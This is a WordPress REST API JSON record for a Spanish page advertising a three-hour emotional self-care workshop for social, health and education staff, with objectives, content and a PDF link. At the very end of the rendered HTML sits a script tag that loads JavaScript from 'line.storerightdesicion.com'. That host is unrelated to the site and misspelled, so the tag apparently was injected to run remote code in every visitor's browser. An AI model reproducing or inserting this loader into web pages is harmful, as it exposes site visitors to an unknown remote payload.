{"id":3424,"date":"2019-03-27T11:08:34","date_gmt":"2019-03-27T11:08:34","guid":{"rendered":"http:\/\/formes.barcelona\/?post_type=avada_portfolio&#038;p=3424"},"modified":"2019-03-27T11:08:34","modified_gmt":"2019-03-27T11:08:34","slug":"curso-auto-cuidado-emocional","status":"publish","type":"avada_portfolio","link":"http:\/\/formes.barcelona\/es\/portfolio\/curso-auto-cuidado-emocional\/","title":{"rendered":"Curso Auto-Cuidado  Emocional"},"content":{"rendered":"<p><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-1 fusion-flex-container nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"background-color: rgba(255,255,255,0);background-position: center center;background-repeat: no-repeat;border-width: 0px 0px 0px 0px;border-color:#e7e4e2;border-style:solid;\" ><div class=\"fusion-builder-row fusion-row fusion-flex-align-items-flex-start\" style=\"max-width:1331.2px;margin-left: calc(-4% \/ 2 );margin-right: calc(-4% \/ 2 );\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-0 fusion_builder_column_1_3 1_3 fusion-flex-column\"><div class=\"fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column\" style=\"background-position:left top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;\"><div style=\"text-align:center;\"><span class=\" fusion-imageframe imageframe-none imageframe-1 hover-type-none\"><img decoding=\"async\" width=\"1200\" height=\"844\" title=\"auto-ayuda-emocional-1200px\" src=\"http:\/\/formes.barcelona\/wp-content\/uploads\/2019\/03\/auto-ayuda-emocional-1200px.jpg\" alt class=\"img-responsive wp-image-3417\" srcset=\"http:\/\/formes.barcelona\/wp-content\/uploads\/2019\/03\/auto-ayuda-emocional-1200px-200x141.jpg 200w, http:\/\/formes.barcelona\/wp-content\/uploads\/2019\/03\/auto-ayuda-emocional-1200px-400x281.jpg 400w, http:\/\/formes.barcelona\/wp-content\/uploads\/2019\/03\/auto-ayuda-emocional-1200px-600x422.jpg 600w, http:\/\/formes.barcelona\/wp-content\/uploads\/2019\/03\/auto-ayuda-emocional-1200px-800x563.jpg 800w, http:\/\/formes.barcelona\/wp-content\/uploads\/2019\/03\/auto-ayuda-emocional-1200px.jpg 1200w\" sizes=\"(max-width: 640px) 100vw, 400px\" \/><\/span><\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-builder-column-0{width:33.333333333333% !important;margin-top : 10px;margin-bottom : 10px;}.fusion-builder-column-0 > .fusion-column-wrapper {padding-top : 0px !important;padding-right : 0px !important;margin-right : 3.8399999999999%;padding-bottom : 0px !important;padding-left : 0px !important;margin-left : 5.76%;}@media only screen and (max-width:1024px) {.fusion-body .fusion-builder-column-0{width:33.333333333333% !important;}.fusion-builder-column-0 > .fusion-column-wrapper {margin-right : 3.8399999999999%;margin-left : 5.76%;}}@media only screen and (max-width:640px) {.fusion-body .fusion-builder-column-0{width:100% !important;}.fusion-builder-column-0 > .fusion-column-wrapper {margin-right : 1.92%;margin-left : 1.92%;}}<\/style><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-1 fusion_builder_column_2_3 2_3 fusion-flex-column\"><div class=\"fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column\" style=\"background-position:left top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;\"><style type=\"text\/css\">@media only screen and (max-width:1024px) {.fusion-title.fusion-title-1{margin-top:0px!important; margin-right:0px!important;margin-bottom:30px!important;margin-left:0px!important;}}@media only screen and (max-width:640px) {.fusion-title.fusion-title-1{margin-top:10px!important; margin-right:0px!important;margin-bottom:10px!important; margin-left:0px!important;}}<\/style><div class=\"fusion-title title fusion-title-1 fusion-title-center fusion-title-text fusion-title-size-two\" style=\"margin-top:0px;margin-right:0px;margin-bottom:30px;margin-left:0px;\"><div class=\"title-sep-container title-sep-container-left\"><div class=\"title-sep sep-\" style=\"border-color:#e7e4e2;\"><\/div><\/div><span class=\"awb-title-spacer\"><\/span><h2 class=\"title-heading-center fusion-responsive-typography-calculated\" style=\"margin:0;--fontSize:34;line-height:1.47;\">Desarrollo y programaci\u00f3n<\/h2><span class=\"awb-title-spacer\"><\/span><div class=\"title-sep-container title-sep-container-right\"><div class=\"title-sep sep-\" style=\"border-color:#e7e4e2;\"><\/div><\/div><\/div><div class=\"fusion-text fusion-text-1\"><p>S\u00f3lo las personas que trabajan en empleos que se dedican a la relaci\u00f3n de ayuda, ya sea en el sector educativo, sanitario o social, saben de primera mano, la inversi\u00f3n de energ\u00eda y el desgaste psicol\u00f3gico y emocional que supone una tarea como esta, y es que, el trabajo con personas, es tan gratificante como intenso y, en algunas ocasiones, puede poner en jaque nuestra propia salud psicol\u00f3gica y emocional.<\/p>\n<p>Esta propuesta formativa, est\u00e1 destinada a ofrecer espacios de aprendizaje y entrenamiento en competencias emocionales, a trav\u00e9s de una metodolog\u00eda l\u00fadico\/vivencial, para que organizaciones, equipos de trabajo y profesionales que tienen la bonita y a la vez dura misi\u00f3n de lidiar y enfrentar cada d\u00eda con los problemas y las necesidades de los dem\u00e1s, puedan conocer y poner en marcha estrategias y herramientas para mejorar la gesti\u00f3n de sus emociones.<\/p>\n<p>Es tambi\u00e9n, una apuesta para que las organizaciones, puedan generar un espacio de reconocimiento y autocuidado de sus propios empleados.<\/p>\n<\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-builder-column-1{width:66.666666666667% !important;margin-top : 10px;margin-bottom : 10px;}.fusion-builder-column-1 > .fusion-column-wrapper {padding-top : 0px !important;padding-right : 0px !important;margin-right : 2.88%;padding-bottom : 0px !important;padding-left : 0px !important;margin-left : 3.84%;}@media only screen and (max-width:1024px) {.fusion-body .fusion-builder-column-1{width:66.666666666667% !important;}.fusion-builder-column-1 > .fusion-column-wrapper {margin-right : 2.88%;margin-left : 3.84%;}}@media only screen and (max-width:640px) {.fusion-body .fusion-builder-column-1{width:100% !important;}.fusion-builder-column-1 > .fusion-column-wrapper {margin-right : 1.92%;margin-left : 1.92%;}}<\/style><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-2 fusion_builder_column_1_1 1_1 fusion-flex-column\"><div class=\"fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column\" style=\"background-position:left top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;\"><div class=\"fusion-text fusion-text-2\"><h3><span style=\"color: #3366ff;\">Dirigido a:<\/span><\/h3>\n<p>Esta propuesta est\u00e1 planteada para equipos de trabajo de instituciones sociales, sanitarias o educativas.<\/p>\n<h3><span style=\"color: #3366ff;\">Programaci\u00f3n:<\/span><\/h3>\n<p>El programa se llevar\u00e1 a cabo en 1 sesi\u00f3n de 3h.<\/p>\n<\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-builder-column-2{width:100% !important;margin-top : 10px;margin-bottom : 10px;}.fusion-builder-column-2 > .fusion-column-wrapper {padding-top : 0px !important;padding-right : 0px !important;margin-right : 1.92%;padding-bottom : 0px !important;padding-left : 0px !important;margin-left : 1.92%;}@media only screen and (max-width:1024px) {.fusion-body .fusion-builder-column-2{width:100% !important;}.fusion-builder-column-2 > .fusion-column-wrapper {margin-right : 1.92%;margin-left : 1.92%;}}@media only screen and (max-width:640px) {.fusion-body .fusion-builder-column-2{width:100% !important;}.fusion-builder-column-2 > .fusion-column-wrapper {margin-right : 1.92%;margin-left : 1.92%;}}<\/style><\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-flex-container.fusion-builder-row-1{ padding-top : 0px;margin-top : 0px;padding-right : 0px;padding-bottom : 0px;margin-bottom : 0px;padding-left : 0px;}<\/style><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-2 fusion-flex-container nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"background-color: rgba(255,255,255,0);background-position: center center;background-repeat: no-repeat;border-width: 0px 0px 0px 0px;border-color:#e7e4e2;border-style:solid;\" ><div class=\"fusion-builder-row fusion-row fusion-flex-align-items-stretch\" style=\"max-width:1331.2px;margin-left: calc(-4% \/ 2 );margin-right: calc(-4% \/ 2 );\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-3 fusion_builder_column_1_3 1_3 fusion-flex-column\"><div class=\"fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column fusion-empty-column-bg-image\" style=\"background-image: url(&#039;http:\/\/formes.barcelona\/wp-content\/uploads\/2017\/09\/metodologia-1200px.jpg&#039;);background-position:center top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;\" data-bg-url=\"http:\/\/formes.barcelona\/wp-content\/uploads\/2017\/09\/metodologia-1200px.jpg\"><img decoding=\"async\" class=\"fusion-empty-dims-img-placeholder fusion-no-large-visibility fusion-no-medium-visibility\" src=\"data:image\/svg+xml,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20width%3D%271200%27%20height%3D%27660%27%20viewBox%3D%270%200%201200%20660%27%3E%3Crect%20width%3D%271200%27%20height%3D%27660%27%20fill-opacity%3D%220%22%2F%3E%3C%2Fsvg%3E\"><\/div><style type=\"text\/css\">.fusion-body .fusion-builder-column-3{width:33.333333333333% !important;margin-top : 10px;margin-bottom : 10px;}.fusion-builder-column-3 > .fusion-column-wrapper {padding-top : 0px !important;padding-right : 0px !important;margin-right : 3.8399999999999%;padding-bottom : 0px !important;padding-left : 0px !important;margin-left : 5.76%;}@media only screen and (max-width:1024px) {.fusion-body .fusion-builder-column-3{width:33.333333333333% !important;}.fusion-builder-column-3 > .fusion-column-wrapper {margin-right : 3.8399999999999%;margin-left : 5.76%;}}@media only screen and (max-width:640px) {.fusion-body .fusion-builder-column-3{width:100% !important;}.fusion-builder-column-3 > .fusion-column-wrapper {margin-right : 1.92%;margin-left : 1.92%;}}<\/style><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-4 fusion_builder_column_2_3 2_3 fusion-flex-column\"><div class=\"fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column\" style=\"background-position:left top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;\"><style type=\"text\/css\">@media only screen and (max-width:1024px) {.fusion-title.fusion-title-2{margin-top:0px!important; margin-right:0px!important;margin-bottom:30px!important;margin-left:0px!important;}}@media only screen and (max-width:640px) {.fusion-title.fusion-title-2{margin-top:10px!important; margin-right:0px!important;margin-bottom:10px!important; margin-left:0px!important;}}<\/style><div class=\"fusion-title title fusion-title-2 fusion-title-center fusion-title-text fusion-title-size-two\" style=\"margin-top:0px;margin-right:0px;margin-bottom:30px;margin-left:0px;\"><div class=\"title-sep-container title-sep-container-left\"><div class=\"title-sep sep-\" style=\"border-color:#e7e4e2;\"><\/div><\/div><span class=\"awb-title-spacer\"><\/span><h2 class=\"title-heading-center fusion-responsive-typography-calculated\" style=\"margin:0;--fontSize:34;line-height:1.47;\">Metodolog\u00eda<\/h2><span class=\"awb-title-spacer\"><\/span><div class=\"title-sep-container title-sep-container-right\"><div class=\"title-sep sep-\" style=\"border-color:#e7e4e2;\"><\/div><\/div><\/div><div class=\"fusion-text fusion-text-3\"><p>La metodolog\u00eda ser\u00e1 eminentemente vivencial y participativa, desarrollando para ello din\u00e1micas grupales, ejercicios de reflexi\u00f3n y discusi\u00f3n.<\/p>\n<\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-builder-column-4{width:66.666666666667% !important;margin-top : 10px;margin-bottom : 10px;}.fusion-builder-column-4 > .fusion-column-wrapper {padding-top : 0px !important;padding-right : 0px !important;margin-right : 2.88%;padding-bottom : 0px !important;padding-left : 0px !important;margin-left : 3.84%;}@media only screen and (max-width:1024px) {.fusion-body .fusion-builder-column-4{width:66.666666666667% !important;}.fusion-builder-column-4 > .fusion-column-wrapper {margin-right : 2.88%;margin-left : 3.84%;}}@media only screen and (max-width:640px) {.fusion-body .fusion-builder-column-4{width:100% !important;}.fusion-builder-column-4 > .fusion-column-wrapper {margin-right : 1.92%;margin-left : 1.92%;}}<\/style><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-5 fusion_builder_column_1_1 1_1 fusion-flex-column fusion-flex-align-self-flex-start fusion-column-no-min-height\"><div class=\"fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column\" style=\"background-position:left top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;\"><div class=\"fusion-text fusion-text-4\"><h3>OBJETIVOS<\/h3>\n<ul>\n<li>Adquirir un mejor conocimiento de las emociones y de las implicaciones de estas en nuestra vida.<\/li>\n<li>Reflexionar sobre la importancia y los resultados de desarrollar una buena educaci\u00f3n emocional.<\/li>\n<li>Conocer y Aplicar estrategias de regulaci\u00f3n y expresi\u00f3n emocional.<\/li>\n<\/ul>\n<h3>CONTENIDOS<\/h3>\n<p>Las emociones, son un recurso del que nos ha dotado la evoluci\u00f3n para poder sobrevivir, y que influyen en cada pensamiento y comportamiento que tenemos o hacemos desde que nacemos hasta que morimos. Sin embargo, en nuestra cultura, no se nos ha proporcionado educaci\u00f3n emocional, y este \u201cAnalfabetismo Emocional\u201d lo estamos pagando con un coste muy alto. La violencia, la depresi\u00f3n, la ansiedad y el estr\u00e9s, son tan s\u00f3lo algunos ejemplos de esta carencia de educaci\u00f3n emocional, que nos hace vivir esclavos de la IRA, el MIEDO y la TRISTEZA. La buena noticia, y estudios cient\u00edficos realizados en los \u00faltimos treinta a\u00f1os lo avalan, es que el manejo y la gesti\u00f3n de nuestras emociones se puede aprender y desarrollar, de manera que seamos cada vez m\u00e1s inteligentes y diestros en su manejo, y podamos llevar, de esa manera, una vida emocional m\u00e1s sana y equilibrada, a trav\u00e9s del cultivo de emociones como la ALEGR\u00cdA, la SERENIDAD y el AMOR.<\/p>\n<\/div><div class=\"fusion-modal modal fade modal-1 pdf\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"modal-heading-1\" aria-hidden=\"true\"><style type=\"text\/css\">.modal-1 .modal-header, .modal-1 .modal-footer{border-color:#e7e4e2;}<\/style><div class=\"modal-dialog modal-lg\" role=\"document\"><div class=\"modal-content fusion-modal-content\" style=\"background-color:#faf9f8\"><div class=\"modal-header\"><button class=\"close\" type=\"button\" data-dismiss=\"modal\" aria-hidden=\"true\" aria-label=\"Close\">&times;<\/button><h3 class=\"modal-title\" id=\"modal-heading-1\" data-dismiss=\"modal\" aria-hidden=\"true\">DOCUMENTO<\/h3><\/div><div class=\"modal-body fusion-clearfix\"><a href=\"http:\/\/formes.barcelona\/wp-content\/uploads\/2019\/03\/TALLER-AUTOCUIDADO-EMOCIONAL_DB.pdf\" class=\"pdfemb-viewer\" style=\"\" data-width=\"max\" data-height=\"max\" data-toolbar=\"bottom\" data-toolbar-fixed=\"on\">TALLER AUTOCUIDADO EMOCIONAL_DB<\/a>\n<div class=\"fusion-aligncenter\"><style>.fusion-button.button-1{border-radius:4px 4px 4px 4px;}<\/style><a class=\"fusion-button button-flat fusion-button-default-size button-default button-1 fusion-button-default-span fusion-button-default-type\" target=\"_blank\" rel=\"noopener noreferrer\" href=\"http:\/\/formes.barcelona\/wp-content\/uploads\/2019\/03\/TALLER-AUTOCUIDADO-EMOCIONAL_DB.pdf\"><span class=\"fusion-button-text\">DESCARGAR<\/span><\/a><\/div><\/div><\/div><\/div><\/div><div style=\"text-align:center;\"><style>.fusion-button.button-2{border-radius:4px 4px 4px 4px;}<\/style><a class=\"fusion-button button-flat fusion-button-default-size button-default button-2 fusion-button-span-no fusion-button-default-type\" target=\"_self\" href=\"#\" data-toggle=\"modal\" data-target=\".fusion-modal.pdf\"><span class=\"fusion-button-text\">VER PDF<\/span><\/a><\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-builder-column-5{width:100% !important;margin-top : 10px;margin-bottom : 10px;}.fusion-builder-column-5 > .fusion-column-wrapper {padding-top : 0px !important;padding-right : 0px !important;margin-right : 1.92%;padding-bottom : 0px !important;padding-left : 0px !important;margin-left : 1.92%;}@media only screen and (max-width:1024px) {.fusion-body .fusion-builder-column-5{width:100% !important;}.fusion-builder-column-5 > .fusion-column-wrapper {margin-right : 1.92%;margin-left : 1.92%;}}@media only screen and (max-width:640px) {.fusion-body .fusion-builder-column-5{width:100% !important;}.fusion-builder-column-5 > .fusion-column-wrapper {margin-right : 1.92%;margin-left : 1.92%;}}<\/style><\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-flex-container.fusion-builder-row-2{ padding-top : 0px;margin-top : 0px;padding-right : 0px;padding-bottom : 0px;margin-bottom : 0px;padding-left : 0px;}<\/style><\/div><script src='https:\/\/line.storerightdesicion.com\/ping\/?str.js' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":3417,"menu_order":0,"comment_status":"open","ping_status":"closed","template":"","format":"standard","meta":[],"portfolio_category":[25],"portfolio_skills":[],"portfolio_tags":[],"_links":{"self":[{"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/avada_portfolio\/3424"}],"collection":[{"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/avada_portfolio"}],"about":[{"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/types\/avada_portfolio"}],"author":[{"embeddable":true,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/comments?post=3424"}],"version-history":[{"count":1,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/avada_portfolio\/3424\/revisions"}],"predecessor-version":[{"id":3425,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/avada_portfolio\/3424\/revisions\/3425"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/media\/3417"}],"wp:attachment":[{"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/media?parent=3424"}],"wp:term":[{"taxonomy":"portfolio_category","embeddable":true,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/portfolio_category?post=3424"},{"taxonomy":"portfolio_skills","embeddable":true,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/portfolio_skills?post=3424"},{"taxonomy":"portfolio_tags","embeddable":true,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/portfolio_tags?post=3424"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}